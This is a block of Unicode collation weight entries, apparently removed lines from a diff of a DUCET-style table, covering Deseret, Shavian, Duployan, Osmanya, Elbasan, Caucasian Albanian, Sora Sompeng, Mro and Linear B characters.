-10445 ; [.42D8.0020.0002] # DESERET SMALL LETTER ES
-1041D ; [.42D8.0020.0008] # DESERET CAPITAL LETTER ES
-10446 ; [.42D9.0020.0002] # DESERET SMALL LETTER ZEE
-1041E ; [.42D9.0020.0008] # DESERET CAPITAL LETTER ZEE
-10447 ; [.42DA.0020.0002] # DESERET SMALL LETTER ESH
-1041F ; [.42DA.0020.0008] # DESERET CAPITAL LETTER ESH
-10448 ; [.42DB.0020.0002] # DESERET SMALL LETTER ZHEE
-10420 ; [.42DB.0020.0008] # DESERET CAPITAL LETTER ZHEE
-10449 ; [.42DC.0020.0002] # DESERET SMALL LETTER ER
-10421 ; [.42DC.0020.0008] # DESERET CAPITAL LETTER ER
-1044A ; [.42DD.0020.0002] # DESERET SMALL LETTER EL
-10422 ; [.42DD.0020.0008] # DESERET CAPITAL LETTER EL
-1044B ; [.42DE.0020.0002] # DESERET SMALL LETTER EM
-10423 ; [.42DE.0020.0008] # DESERET CAPITAL LETTER EM
-1044C ; [.42DF.0020.0002] # DESERET SMALL LETTER EN
-10424 ; [.42DF.0020.0008] # DESERET CAPITAL LETTER EN
-1044D ; [.42E0.0020.0002] # DESERET SMALL LETTER ENG
-10425 ; [.42E0.0020.0008] # DESERET CAPITAL LETTER ENG
-1044E ; [.42E1.0020.0002] # DESERET SMALL LETTER OI
-10426 ; [.42E1.0020.0008] # DESERET CAPITAL LETTER OI
-1044F ; [.42E2.0020.0002] # DESERET SMALL LETTER EW
-10427 ; [.42E2.0020.0008] # DESERET CAPITAL LETTER EW
-10450 ; [.42E3.0020.0002] # SHAVIAN LETTER PEEP
-10451 ; [.42E4.0020.0002] # SHAVIAN LETTER TOT
-10452 ; [.42E5.0020.0002] # SHAVIAN LETTER KICK
-10453 ; [.42E6.0020.0002] # SHAVIAN LETTER FEE
-10454 ; [.42E7.0020.0002] # SHAVIAN LETTER THIGH
-10455 ; [.42E8.0020.0002] # SHAVIAN LETTER SO
-10456 ; [.42E9.0020.0002] # SHAVIAN LETTER SURE
-10457 ; [.42EA.0020.0002] # SHAVIAN LETTER CHURCH
-10458 ; [.42EB.0020.0002] # SHAVIAN LETTER YEA
-10459 ; [.42EC.0020.0002] # SHAVIAN LETTER HUNG
-1045A ; [.42ED.0020.0002] # SHAVIAN LETTER BIB
-1045B ; [.42EE.0020.0002] # SHAVIAN LETTER DEAD
-1045C ; [.42EF.0020.0002] # SHAVIAN LETTER GAG
-1045D ; [.42F0.0020.0002] # SHAVIAN LETTER VOW
-1045E ; [.42F1.0020.0002] # SHAVIAN LETTER THEY
-1045F ; [.42F2.0020.0002] # SHAVIAN LETTER ZOO
-10460 ; [.42F3.0020.0002] # SHAVIAN LETTER MEASURE
-10461 ; [.42F4.0020.0002] # SHAVIAN LETTER JUDGE
-10462 ; [.42F5.0020.0002] # SHAVIAN LETTER WOE
-10463 ; [.42F6.0020.0002] # SHAVIAN LETTER HA-HA
-10464 ; [.42F7.0020.0002] # SHAVIAN LETTER LOLL
-10465 ; [.42F8.0020.0002] # SHAVIAN LETTER MIME
-10466 ; [.42F9.0020.0002] # SHAVIAN LETTER IF
-10467 ; [.42FA.0020.0002] # SHAVIAN LETTER EGG
-10468 ; [.42FB.0020.0002] # SHAVIAN LETTER ASH
-10469 ; [.42FC.0020.0002] # SHAVIAN LETTER ADO
-1046A ; [.42FD.0020.0002] # SHAVIAN LETTER ON
-1046B ; [.42FE.0020.0002] # SHAVIAN LETTER WOOL
-1046C ; [.42FF.0020.0002] # SHAVIAN LETTER OUT
-1046D ; [.4300.0020.0002] # SHAVIAN LETTER AH
-1046E ; [.4301.0020.0002] # SHAVIAN LETTER ROAR
-1046F ; [.4302.0020.0002] # SHAVIAN LETTER NUN
-10470 ; [.4303.0020.0002] # SHAVIAN LETTER EAT
-10471 ; [.4304.0020.0002] # SHAVIAN LETTER AGE
-10472 ; [.4305.0020.0002] # SHAVIAN LETTER ICE
-10473 ; [.4306.0020.0002] # SHAVIAN LETTER UP
-10474 ; [.4307.0020.0002] # SHAVIAN LETTER OAK
-10475 ; [.4308.0020.0002] # SHAVIAN LETTER OOZE
-10476 ; [.4309.0020.0002] # SHAVIAN LETTER OIL
-10477 ; [.430A.0020.0002] # SHAVIAN LETTER AWE
-10478 ; [.430B.0020.0002] # SHAVIAN LETTER ARE
-10479 ; [.430C.0020.0002] # SHAVIAN LETTER OR
-1047A ; [.430D.0020.0002] # SHAVIAN LETTER AIR
-1047B ; [.430E.0020.0002] # SHAVIAN LETTER ERR
-1047C ; [.430F.0020.0002] # SHAVIAN LETTER ARRAY
-1047D ; [.4310.0020.0002] # SHAVIAN LETTER EAR
-1047E ; [.4311.0020.0002] # SHAVIAN LETTER IAN
-1047F ; [.4312.0020.0002] # SHAVIAN LETTER YEW
-1BC00 ; [.4313.0020.0002] # DUPLOYAN LETTER H
-1BC01 ; [.4314.0020.0002] # DUPLOYAN LETTER X
-1BC02 ; [.4315.0020.0002] # DUPLOYAN LETTER P
-1BC03 ; [.4316.0020.0002] # DUPLOYAN LETTER T
-1BC04 ; [.4317.0020.0002] # DUPLOYAN LETTER F
-1BC05 ; [.4318.0020.0002] # DUPLOYAN LETTER K
-1BC06 ; [.4319.0020.0002] # DUPLOYAN LETTER L
-1BC07 ; [.431A.0020.0002] # DUPLOYAN LETTER B
-1BC08 ; [.431B.0020.0002] # DUPLOYAN LETTER D
-1BC09 ; [.431C.0020.0002] # DUPLOYAN LETTER V
-1BC0A ; [.431D.0020.0002] # DUPLOYAN LETTER G
-1BC0B ; [.431E.0020.0002] # DUPLOYAN LETTER R
-1BC0C ; [.431F.0020.0002] # DUPLOYAN LETTER P N
-1BC0D ; [.4320.0020.0002] # DUPLOYAN LETTER D S
-1BC0E ; [.4321.0020.0002] # DUPLOYAN LETTER F N
-1BC0F ; [.4322.0020.0002] # DUPLOYAN LETTER K M
-1BC10 ; [.4323.0020.0002] # DUPLOYAN LETTER R S
-1BC11 ; [.4324.0020.0002] # DUPLOYAN LETTER TH
-1BC12 ; [.4325.0020.0002] # DUPLOYAN LETTER SLOAN DH
-1BC13 ; [.4326.0020.0002] # DUPLOYAN LETTER DH
-1BC14 ; [.4327.0020.0002] # DUPLOYAN LETTER KK
-1BC15 ; [.4328.0020.0002] # DUPLOYAN LETTER SLOAN J
-1BC16 ; [.4329.0020.0002] # DUPLOYAN LETTER HL
-1BC17 ; [.432A.0020.0002] # DUPLOYAN LETTER LH
-1BC18 ; [.432B.0020.0002] # DUPLOYAN LETTER RH
-1BC19 ; [.432C.0020.0002] # DUPLOYAN LETTER M
-1BC1A ; [.432D.0020.0002] # DUPLOYAN LETTER N
-1BC1B ; [.432E.0020.0002] # DUPLOYAN LETTER J
-1BC1C ; [.432F.0020.0002] # DUPLOYAN LETTER S
-1BC1D ; [.4330.0020.0002] # DUPLOYAN LETTER M N
-1BC1E ; [.4331.0020.0002] # DUPLOYAN LETTER N M
-1BC1F ; [.4332.0020.0002] # DUPLOYAN LETTER J M
-1BC20 ; [.4333.0020.0002] # DUPLOYAN LETTER S J
-1BC21 ; [.4334.0020.0002] # DUPLOYAN LETTER M WITH DOT
-1BC22 ; [.4335.0020.0002] # DUPLOYAN LETTER N WITH DOT
-1BC23 ; [.4336.0020.0002] # DUPLOYAN LETTER J WITH DOT
-1BC24 ; [.4337.0020.0002] # DUPLOYAN LETTER J WITH DOTS INSIDE AND ABOVE
-1BC25 ; [.4338.0020.0002] # DUPLOYAN LETTER S WITH DOT
-1BC26 ; [.4339.0020.0002] # DUPLOYAN LETTER S WITH DOT BELOW
-1BC27 ; [.433A.0020.0002] # DUPLOYAN LETTER M S
-1BC28 ; [.433B.0020.0002] # DUPLOYAN LETTER N S
-1BC29 ; [.433C.0020.0002] # DUPLOYAN LETTER J S
-1BC2A ; [.433D.0020.0002] # DUPLOYAN LETTER S S
-1BC2B ; [.433E.0020.0002] # DUPLOYAN LETTER M N S
-1BC2C ; [.433F.0020.0002] # DUPLOYAN LETTER N M S
-1BC2D ; [.4340.0020.0002] # DUPLOYAN LETTER J M S
-1BC2E ; [.4341.0020.0002] # DUPLOYAN LETTER S J S
-1BC2F ; [.4342.0020.0002] # DUPLOYAN LETTER J S WITH DOT
-1BC30 ; [.4343.0020.0002] # DUPLOYAN LETTER J N
-1BC31 ; [.4344.0020.0002] # DUPLOYAN LETTER J N S
-1BC32 ; [.4345.0020.0002] # DUPLOYAN LETTER S T
-1BC33 ; [.4346.0020.0002] # DUPLOYAN LETTER S T R
-1BC34 ; [.4347.0020.0002] # DUPLOYAN LETTER S P
-1BC35 ; [.4348.0020.0002] # DUPLOYAN LETTER S P R
-1BC36 ; [.4349.0020.0002] # DUPLOYAN LETTER T S
-1BC37 ; [.434A.0020.0002] # DUPLOYAN LETTER T R S
-1BC38 ; [.434B.0020.0002] # DUPLOYAN LETTER W
-1BC39 ; [.434C.0020.0002] # DUPLOYAN LETTER WH
-1BC3A ; [.434D.0020.0002] # DUPLOYAN LETTER W R
-1BC3B ; [.434E.0020.0002] # DUPLOYAN LETTER S N
-1BC3C ; [.434F.0020.0002] # DUPLOYAN LETTER S M
-1BC3D ; [.4350.0020.0002] # DUPLOYAN LETTER K R S
-1BC3E ; [.4351.0020.0002] # DUPLOYAN LETTER G R S
-1BC3F ; [.4352.0020.0002] # DUPLOYAN LETTER S K
-1BC40 ; [.4353.0020.0002] # DUPLOYAN LETTER S K R
-1BC41 ; [.4354.0020.0002] # DUPLOYAN LETTER A
-1BC42 ; [.4355.0020.0002] # DUPLOYAN LETTER SLOAN OW
-1BC43 ; [.4356.0020.0002] # DUPLOYAN LETTER OA
-1BC44 ; [.4357.0020.0002] # DUPLOYAN LETTER O
-1BC45 ; [.4358.0020.0002] # DUPLOYAN LETTER AOU
-1BC46 ; [.4359.0020.0002] # DUPLOYAN LETTER I
-1BC47 ; [.435A.0020.0002] # DUPLOYAN LETTER E
-1BC48 ; [.435B.0020.0002] # DUPLOYAN LETTER IE
-1BC49 ; [.435C.0020.0002] # DUPLOYAN LETTER SHORT I
-1BC4A ; [.435D.0020.0002] # DUPLOYAN LETTER UI
-1BC4B ; [.435E.0020.0002] # DUPLOYAN LETTER EE
-1BC4C ; [.435F.0020.0002] # DUPLOYAN LETTER SLOAN EH
-1BC4D ; [.4360.0020.0002] # DUPLOYAN LETTER ROMANIAN I
-1BC4E ; [.4361.0020.0002] # DUPLOYAN LETTER SLOAN EE
-1BC4F ; [.4362.0020.0002] # DUPLOYAN LETTER LONG I
-1BC50 ; [.4363.0020.0002] # DUPLOYAN LETTER YE
-1BC51 ; [.4364.0020.0002] # DUPLOYAN LETTER U
-1BC52 ; [.4365.0020.0002] # DUPLOYAN LETTER EU
-1BC53 ; [.4366.0020.0002] # DUPLOYAN LETTER XW
-1BC54 ; [.4367.0020.0002] # DUPLOYAN LETTER U N
-1BC55 ; [.4368.0020.0002] # DUPLOYAN LETTER LONG U
-1BC56 ; [.4369.0020.0002] # DUPLOYAN LETTER ROMANIAN U
-1BC57 ; [.436A.0020.0002] # DUPLOYAN LETTER UH
-1BC58 ; [.436B.0020.0002] # DUPLOYAN LETTER SLOAN U
-1BC59 ; [.436C.0020.0002] # DUPLOYAN LETTER OOH
-1BC5A ; [.436D.0020.0002] # DUPLOYAN LETTER OW
-1BC5B ; [.436E.0020.0002] # DUPLOYAN LETTER OU
-1BC5C ; [.436F.0020.0002] # DUPLOYAN LETTER WA
-1BC5D ; [.4370.0020.0002] # DUPLOYAN LETTER WO
-1BC5E ; [.4371.0020.0002] # DUPLOYAN LETTER WI
-1BC5F ; [.4372.0020.0002] # DUPLOYAN LETTER WEI
-1BC60 ; [.4373.0020.0002] # DUPLOYAN LETTER WOW
-1BC61 ; [.4374.0020.0002] # DUPLOYAN LETTER NASAL U
-1BC62 ; [.4375.0020.0002] # DUPLOYAN LETTER NASAL O
-1BC63 ; [.4376.0020.0002] # DUPLOYAN LETTER NASAL I
-1BC64 ; [.4377.0020.0002] # DUPLOYAN LETTER NASAL A
-1BC65 ; [.4378.0020.0002] # DUPLOYAN LETTER PERNIN AN
-1BC66 ; [.4379.0020.0002] # DUPLOYAN LETTER PERNIN AM
-1BC67 ; [.437A.0020.0002] # DUPLOYAN LETTER SLOAN EN
-1BC68 ; [.437B.0020.0002] # DUPLOYAN LETTER SLOAN AN
-1BC69 ; [.437C.0020.0002] # DUPLOYAN LETTER SLOAN ON
-1BC6A ; [.437D.0020.0002] # DUPLOYAN LETTER VOCALIC M
-1BC70 ; [.437E.0020.0002] # DUPLOYAN AFFIX LEFT HORIZONTAL SECANT
-1BC71 ; [.437F.0020.0002] # DUPLOYAN AFFIX MID HORIZONTAL SECANT
-1BC72 ; [.4380.0020.0002] # DUPLOYAN AFFIX RIGHT HORIZONTAL SECANT
-1BC73 ; [.4381.0020.0002] # DUPLOYAN AFFIX LOW VERTICAL SECANT
-1BC74 ; [.4382.0020.0002] # DUPLOYAN AFFIX MID VERTICAL SECANT
-1BC75 ; [.4383.0020.0002] # DUPLOYAN AFFIX HIGH VERTICAL SECANT
-1BC76 ; [.4384.0020.0002] # DUPLOYAN AFFIX ATTACHED SECANT
-1BC77 ; [.4385.0020.0002] # DUPLOYAN AFFIX ATTACHED LEFT-TO-RIGHT SECANT
-1BC78 ; [.4386.0020.0002] # DUPLOYAN AFFIX ATTACHED TANGENT
-1BC79 ; [.4387.0020.0002] # DUPLOYAN AFFIX ATTACHED TAIL
-1BC7A ; [.4388.0020.0002] # DUPLOYAN AFFIX ATTACHED E HOOK
-1BC7B ; [.4389.0020.0002] # DUPLOYAN AFFIX ATTACHED I HOOK
-1BC7C ; [.438A.0020.0002] # DUPLOYAN AFFIX ATTACHED TANGENT HOOK
-1BC80 ; [.438B.0020.0002] # DUPLOYAN AFFIX HIGH ACUTE
-1BC81 ; [.438C.0020.0002] # DUPLOYAN AFFIX HIGH TIGHT ACUTE
-1BC82 ; [.438D.0020.0002] # DUPLOYAN AFFIX HIGH GRAVE
-1BC83 ; [.438E.0020.0002] # DUPLOYAN AFFIX HIGH LONG GRAVE
-1BC84 ; [.438F.0020.0002] # DUPLOYAN AFFIX HIGH DOT
-1BC85 ; [.4390.0020.0002] # DUPLOYAN AFFIX HIGH CIRCLE
-1BC86 ; [.4391.0020.0002] # DUPLOYAN AFFIX HIGH LINE
-1BC87 ; [.4392.0020.0002] # DUPLOYAN AFFIX HIGH WAVE
-1BC88 ; [.4393.0020.0002] # DUPLOYAN AFFIX HIGH VERTICAL
-1BC90 ; [.4394.0020.0002] # DUPLOYAN AFFIX LOW ACUTE
-1BC91 ; [.4395.0020.0002] # DUPLOYAN AFFIX LOW TIGHT ACUTE
-1BC92 ; [.4396.0020.0002] # DUPLOYAN AFFIX LOW GRAVE
-1BC93 ; [.4397.0020.0002] # DUPLOYAN AFFIX LOW LONG GRAVE
-1BC94 ; [.4398.0020.0002] # DUPLOYAN AFFIX LOW DOT
-1BC95 ; [.4399.0020.0002] # DUPLOYAN AFFIX LOW CIRCLE
-1BC96 ; [.439A.0020.0002] # DUPLOYAN AFFIX LOW LINE
-1BC97 ; [.439B.0020.0002] # DUPLOYAN AFFIX LOW WAVE
-1BC98 ; [.439C.0020.0002] # DUPLOYAN AFFIX LOW VERTICAL
-1BC99 ; [.439D.0020.0002] # DUPLOYAN AFFIX LOW ARROW
-10480 ; [.439E.0020.0002] # OSMANYA LETTER ALEF
-10481 ; [.439F.0020.0002] # OSMANYA LETTER BA
-10482 ; [.43A0.0020.0002] # OSMANYA LETTER TA
-10483 ; [.43A1.0020.0002] # OSMANYA LETTER JA
-10484 ; [.43A2.0020.0002] # OSMANYA LETTER XA
-10485 ; [.43A3.0020.0002] # OSMANYA LETTER KHA
-10486 ; [.43A4.0020.0002] # OSMANYA LETTER DEEL
-10487 ; [.43A5.0020.0002] # OSMANYA LETTER RA
-10488 ; [.43A6.0020.0002] # OSMANYA LETTER SA
-10489 ; [.43A7.0020.0002] # OSMANYA LETTER SHIIN
-1048A ; [.43A8.0020.0002] # OSMANYA LETTER DHA
-1048B ; [.43A9.0020.0002] # OSMANYA LETTER CAYN
-1048C ; [.43AA.0020.0002] # OSMANYA LETTER GA
-1048D ; [.43AB.0020.0002] # OSMANYA LETTER FA
-1048E ; [.43AC.0020.0002] # OSMANYA LETTER QAAF
-1048F ; [.43AD.0020.0002] # OSMANYA LETTER KAAF
-10490 ; [.43AE.0020.0002] # OSMANYA LETTER LAAN
-10491 ; [.43AF.0020.0002] # OSMANYA LETTER MIIN
-10492 ; [.43B0.0020.0002] # OSMANYA LETTER NUUN
-10493 ; [.43B1.0020.0002] # OSMANYA LETTER WAW
-10494 ; [.43B2.0020.0002] # OSMANYA LETTER HA
-10495 ; [.43B3.0020.0002] # OSMANYA LETTER YA
-10496 ; [.43B4.0020.0002] # OSMANYA LETTER A
-10497 ; [.43B5.0020.0002] # OSMANYA LETTER E
-10498 ; [.43B6.0020.0002] # OSMANYA LETTER I
-10499 ; [.43B7.0020.0002] # OSMANYA LETTER O
-1049A ; [.43B8.0020.0002] # OSMANYA LETTER U
-1049B ; [.43B9.0020.0002] # OSMANYA LETTER AA
-1049C ; [.43BA.0020.0002] # OSMANYA LETTER EE
-1049D ; [.43BB.0020.0002] # OSMANYA LETTER OO
-10500 ; [.43BC.0020.0002] # ELBASAN LETTER A
-10501 ; [.43BD.0020.0002] # ELBASAN LETTER BE
-10502 ; [.43BE.0020.0002] # ELBASAN LETTER CE
-10503 ; [.43BF.0020.0002] # ELBASAN LETTER CHE
-10504 ; [.43C0.0020.0002] # ELBASAN LETTER DE
-10505 ; [.43C1.0020.0002] # ELBASAN LETTER NDE
-10506 ; [.43C2.0020.0002] # ELBASAN LETTER DHE
-10507 ; [.43C3.0020.0002] # ELBASAN LETTER EI
-10508 ; [.43C4.0020.0002] # ELBASAN LETTER E
-10509 ; [.43C5.0020.0002] # ELBASAN LETTER FE
-1050A ; [.43C6.0020.0002] # ELBASAN LETTER GE
-1050B ; [.43C7.0020.0002] # ELBASAN LETTER GJE
-1050C ; [.43C8.0020.0002] # ELBASAN LETTER HE
-1050D ; [.43C9.0020.0002] # ELBASAN LETTER I
-1050E ; [.43CA.0020.0002] # ELBASAN LETTER JE
-1050F ; [.43CB.0020.0002] # ELBASAN LETTER KE
-10510 ; [.43CC.0020.0002] # ELBASAN LETTER LE
-10511 ; [.43CD.0020.0002] # ELBASAN LETTER LLE
-10512 ; [.43CE.0020.0002] # ELBASAN LETTER ME
-10513 ; [.43CF.0020.0002] # ELBASAN LETTER NE
-10514 ; [.43D0.0020.0002] # ELBASAN LETTER NA
-10515 ; [.43D1.0020.0002] # ELBASAN LETTER NJE
-10516 ; [.43D2.0020.0002] # ELBASAN LETTER O
-10517 ; [.43D3.0020.0002] # ELBASAN LETTER PE
-10518 ; [.43D4.0020.0002] # ELBASAN LETTER QE
-10519 ; [.43D5.0020.0002] # ELBASAN LETTER RE
-1051A ; [.43D6.0020.0002] # ELBASAN LETTER RRE
-1051B ; [.43D7.0020.0002] # ELBASAN LETTER SE
-1051C ; [.43D8.0020.0002] # ELBASAN LETTER SHE
-1051D ; [.43D9.0020.0002] # ELBASAN LETTER TE
-1051E ; [.43DA.0020.0002] # ELBASAN LETTER THE
-1051F ; [.43DB.0020.0002] # ELBASAN LETTER U
-10520 ; [.43DC.0020.0002] # ELBASAN LETTER VE
-10521 ; [.43DD.0020.0002] # ELBASAN LETTER XE
-10522 ; [.43DE.0020.0002] # ELBASAN LETTER Y
-10523 ; [.43DF.0020.0002] # ELBASAN LETTER ZE
-10524 ; [.43E0.0020.0002] # ELBASAN LETTER ZHE
-10525 ; [.43E1.0020.0002] # ELBASAN LETTER GHE
-10526 ; [.43E2.0020.0002] # ELBASAN LETTER GHAMMA
-10527 ; [.43E3.0020.0002] # ELBASAN LETTER KHE
-10530 ; [.43E4.0020.0002] # CAUCASIAN ALBANIAN LETTER ALT
-10531 ; [.43E5.0020.0002] # CAUCASIAN ALBANIAN LETTER BET
-10532 ; [.43E6.0020.0002] # CAUCASIAN ALBANIAN LETTER GIM
-10533 ; [.43E7.0020.0002] # CAUCASIAN ALBANIAN LETTER DAT
-10534 ; [.43E8.0020.0002] # CAUCASIAN ALBANIAN LETTER EB
-10535 ; [.43E9.0020.0002] # CAUCASIAN ALBANIAN LETTER ZARL
-10536 ; [.43EA.0020.0002] # CAUCASIAN ALBANIAN LETTER EYN
-10537 ; [.43EB.0020.0002] # CAUCASIAN ALBANIAN LETTER ZHIL
-10538 ; [.43EC.0020.0002] # CAUCASIAN ALBANIAN LETTER TAS
-10539 ; [.43ED.0020.0002] # CAUCASIAN ALBANIAN LETTER CHA
-1053A ; [.43EE.0020.0002] # CAUCASIAN ALBANIAN LETTER YOWD
-1053B ; [.43EF.0020.0002] # CAUCASIAN ALBANIAN LETTER ZHA
-1053C ; [.43F0.0020.0002] # CAUCASIAN ALBANIAN LETTER IRB
-1053D ; [.43F1.0020.0002] # CAUCASIAN ALBANIAN LETTER SHA
-1053E ; [.43F2.0020.0002] # CAUCASIAN ALBANIAN LETTER LAN
-1053F ; [.43F3.0020.0002] # CAUCASIAN ALBANIAN LETTER INYA
-10540 ; [.43F4.0020.0002] # CAUCASIAN ALBANIAN LETTER XEYN
-10541 ; [.43F5.0020.0002] # CAUCASIAN ALBANIAN LETTER DYAN
-10542 ; [.43F6.0020.0002] # CAUCASIAN ALBANIAN LETTER CAR
-10543 ; [.43F7.0020.0002] # CAUCASIAN ALBANIAN LETTER JHOX
-10544 ; [.43F8.0020.0002] # CAUCASIAN ALBANIAN LETTER KAR
-10545 ; [.43F9.0020.0002] # CAUCASIAN ALBANIAN LETTER LYIT
-10546 ; [.43FA.0020.0002] # CAUCASIAN ALBANIAN LETTER HEYT
-10547 ; [.43FB.0020.0002] # CAUCASIAN ALBANIAN LETTER QAY
-10548 ; [.43FC.0020.0002] # CAUCASIAN ALBANIAN LETTER AOR
-10549 ; [.43FD.0020.0002] # CAUCASIAN ALBANIAN LETTER CHOY
-1054A ; [.43FE.0020.0002] # CAUCASIAN ALBANIAN LETTER CHI
-1054B ; [.43FF.0020.0002] # CAUCASIAN ALBANIAN LETTER CYAY
-1054C ; [.4400.0020.0002] # CAUCASIAN ALBANIAN LETTER MAQ
-1054D ; [.4401.0020.0002] # CAUCASIAN ALBANIAN LETTER QAR
-1054E ; [.4402.0020.0002] # CAUCASIAN ALBANIAN LETTER NOWC
-1054F ; [.4403.0020.0002] # CAUCASIAN ALBANIAN LETTER DZYAY
-10550 ; [.4404.0020.0002] # CAUCASIAN ALBANIAN LETTER SHAK
-10551 ; [.4405.0020.0002] # CAUCASIAN ALBANIAN LETTER JAYN
-10552 ; [.4406.0020.0002] # CAUCASIAN ALBANIAN LETTER ON
-10553 ; [.4407.0020.0002] # CAUCASIAN ALBANIAN LETTER TYAY
-10554 ; [.4408.0020.0002] # CAUCASIAN ALBANIAN LETTER FAM
-10555 ; [.4409.0020.0002] # CAUCASIAN ALBANIAN LETTER DZAY
-10556 ; [.440A.0020.0002] # CAUCASIAN ALBANIAN LETTER CHAT
-10557 ; [.440B.0020.0002] # CAUCASIAN ALBANIAN LETTER PEN
-10558 ; [.440C.0020.0002] # CAUCASIAN ALBANIAN LETTER GHEYS
-10559 ; [.440D.0020.0002] # CAUCASIAN ALBANIAN LETTER RAT
-1055A ; [.440E.0020.0002] # CAUCASIAN ALBANIAN LETTER SEYK
-1055B ; [.440F.0020.0002] # CAUCASIAN ALBANIAN LETTER VEYZ
-1055C ; [.4410.0020.0002] # CAUCASIAN ALBANIAN LETTER TIWR
-1055D ; [.4411.0020.0002] # CAUCASIAN ALBANIAN LETTER SHOY
-1055E ; [.4412.0020.0002] # CAUCASIAN ALBANIAN LETTER IWN
-1055F ; [.4413.0020.0002] # CAUCASIAN ALBANIAN LETTER CYAW
-10560 ; [.4414.0020.0002] # CAUCASIAN ALBANIAN LETTER CAYN
-10561 ; [.4415.0020.0002] # CAUCASIAN ALBANIAN LETTER YAYD
-10562 ; [.4416.0020.0002] # CAUCASIAN ALBANIAN LETTER PIWR
-10563 ; [.4417.0020.0002] # CAUCASIAN ALBANIAN LETTER KIW
-110D0 ; [.4418.0020.0002] # SORA SOMPENG LETTER SAH
-110D1 ; [.4419.0020.0002] # SORA SOMPENG LETTER TAH
-110D2 ; [.441A.0020.0002] # SORA SOMPENG LETTER BAH
-110D3 ; [.441B.0020.0002] # SORA SOMPENG LETTER CAH
-110D4 ; [.441C.0020.0002] # SORA SOMPENG LETTER DAH
-110D5 ; [.441D.0020.0002] # SORA SOMPENG LETTER GAH
-110D6 ; [.441E.0020.0002] # SORA SOMPENG LETTER MAH
-110D7 ; [.441F.0020.0002] # SORA SOMPENG LETTER NGAH
-110D8 ; [.4420.0020.0002] # SORA SOMPENG LETTER LAH
-110D9 ; [.4421.0020.0002] # SORA SOMPENG LETTER NAH
-110DA ; [.4422.0020.0002] # SORA SOMPENG LETTER VAH
-110DB ; [.4423.0020.0002] # SORA SOMPENG LETTER PAH
-110DC ; [.4424.0020.0002] # SORA SOMPENG LETTER YAH
-110DD ; [.4425.0020.0002] # SORA SOMPENG LETTER RAH
-110DE ; [.4426.0020.0002] # SORA SOMPENG LETTER HAH
-110DF ; [.4427.0020.0002] # SORA SOMPENG LETTER KAH
-110E0 ; [.4428.0020.0002] # SORA SOMPENG LETTER JAH
-110E1 ; [.4429.0020.0002] # SORA SOMPENG LETTER NYAH
-110E2 ; [.442A.0020.0002] # SORA SOMPENG LETTER AH
-110E3 ; [.442B.0020.0002] # SORA SOMPENG LETTER EEH
-110E4 ; [.442C.0020.0002] # SORA SOMPENG LETTER IH
-110E5 ; [.442D.0020.0002] # SORA SOMPENG LETTER UH
-110E6 ; [.442E.0020.0002] # SORA SOMPENG LETTER OH
-110E7 ; [.442F.0020.0002] # SORA SOMPENG LETTER EH
-110E8 ; [.4430.0020.0002] # SORA SOMPENG LETTER MAE
-16A40 ; [.4431.0020.0002] # MRO LETTER TA
-16A41 ; [.4432.0020.0002] # MRO LETTER NGI
-16A42 ; [.4433.0020.0002] # MRO LETTER YO
-16A43 ; [.4434.0020.0002] # MRO LETTER MIM
-16A44 ; [.4435.0020.0002] # MRO LETTER BA
-16A45 ; [.4436.0020.0002] # MRO LETTER DA
-16A46 ; [.4437.0020.0002] # MRO LETTER A
-16A47 ; [.4438.0020.0002] # MRO LETTER PHI
-16A48 ; [.4439.0020.0002] # MRO LETTER KHAI
-16A49 ; [.443A.0020.0002] # MRO LETTER HAO
-16A4A ; [.443B.0020.0002] # MRO LETTER DAI
-16A4B ; [.443C.0020.0002] # MRO LETTER CHU
-16A4C ; [.443D.0020.0002] # MRO LETTER KEAAE
-16A4D ; [.443E.0020.0002] # MRO LETTER OL
-16A4E ; [.443F.0020.0002] # MRO LETTER MAEM
-16A4F ; [.4440.0020.0002] # MRO LETTER NIN
-16A50 ; [.4441.0020.0002] # MRO LETTER PA
-16A51 ; [.4442.0020.0002] # MRO LETTER OO
-16A52 ; [.4443.0020.0002] # MRO LETTER O
-16A53 ; [.4444.0020.0002] # MRO LETTER RO
-16A54 ; [.4445.0020.0002] # MRO LETTER SHI
-16A55 ; [.4446.0020.0002] # MRO LETTER THEA
-16A56 ; [.4447.0020.0002] # MRO LETTER EA
-16A57 ; [.4448.0020.0002] # MRO LETTER WA
-16A58 ; [.4449.0020.0002] # MRO LETTER E
-16A59 ; [.444A.0020.0002] # MRO LETTER KO
-16A5A ; [.444B.0020.0002] # MRO LETTER LAN
-16A5B ; [.444C.0020.0002] # MRO LETTER LA
-16A5C ; [.444D.0020.0002] # MRO LETTER HAI
-16A5D ; [.444E.0020.0002] # MRO LETTER RI
-16A5E ; [.444F.0020.0002] # MRO LETTER TEK
-10000 ; [.4450.0020.0002] # LINEAR B SYLLABLE B008 A
-10001 ; [.4451.0020.0002] # LINEAR B SYLLABLE B038 E
-10002 ; [.4452.0020.0002] # LINEAR B SYLLABLE B028 I
-10003 ; [.4453.0020.0002] # LINEAR B SYLLABLE B061 O
-10004 ; [.4454.0020.0002] # LINEAR B SYLLABLE B010 U
-10005 ; [.4455.0020.0002] # LINEAR B SYLLABLE B001 DA
-10006 ; [.4456.0020.0002] # LINEAR B SYLLABLE B045 DE
-10007 ; [.4457.0020.0002] # LINEAR B SYLLABLE B007 DI
-10008 ; [.4458.0020.0002] # LINEAR B SYLLABLE B014 DO
-10009 ; [.4459.0020.0002] # LINEAR B SYLLABLE B051 DU
-1000A ; [.445A.0020.0002] # LINEAR B SYLLABLE B057 JA
-1000B ; [.445B.0020.0002] # LINEAR B SYLLABLE B046 JE
-1000D ; [.445C.0020.0002] # LINEAR B SYLLABLE B036 JO
-1000E ; [.445D.0020.0002] # LINEAR B SYLLABLE B065 JU
-1000F ; [.445E.0020.0002] # LINEAR B SYLLABLE B077 KA
-10010 ; [.445F.0020.0002] # LINEAR B SYLLABLE B044 KE
-10011 ; [.4460.0020.0002] # LINEAR B SYLLABLE B067 KI
-10012 ; [.4461.0020.0002] # LINEAR B SYLLABLE B070 KO
-10013 ; [.4462.0020.0002] # LINEAR B SYLLABLE B081 KU
-10014 ; [.4463.0020.0002] # LINEAR B SYLLABLE B080 MA
-10015 ; [.4464.0020.0002] # LINEAR B SYLLABLE B013 ME
-10016 ; [.4465.0020.0002] # LINEAR B SYLLABLE B073 MI
-10017 ; [.4466.0020.0002] # LINEAR B SYLLABLE B015 MO
-10018 ; [.4467.0020.0002] # LINEAR B SYLLABLE B023 MU
-10019 ; [.4468.0020.0002] # LINEAR B SYLLABLE B006 NA
-1001A ; [.4469.0020.0002] # LINEAR B SYLLABLE B024 NE
-1001B ; [.446A.0020.0002] # LINEAR B SYLLABLE B030 NI
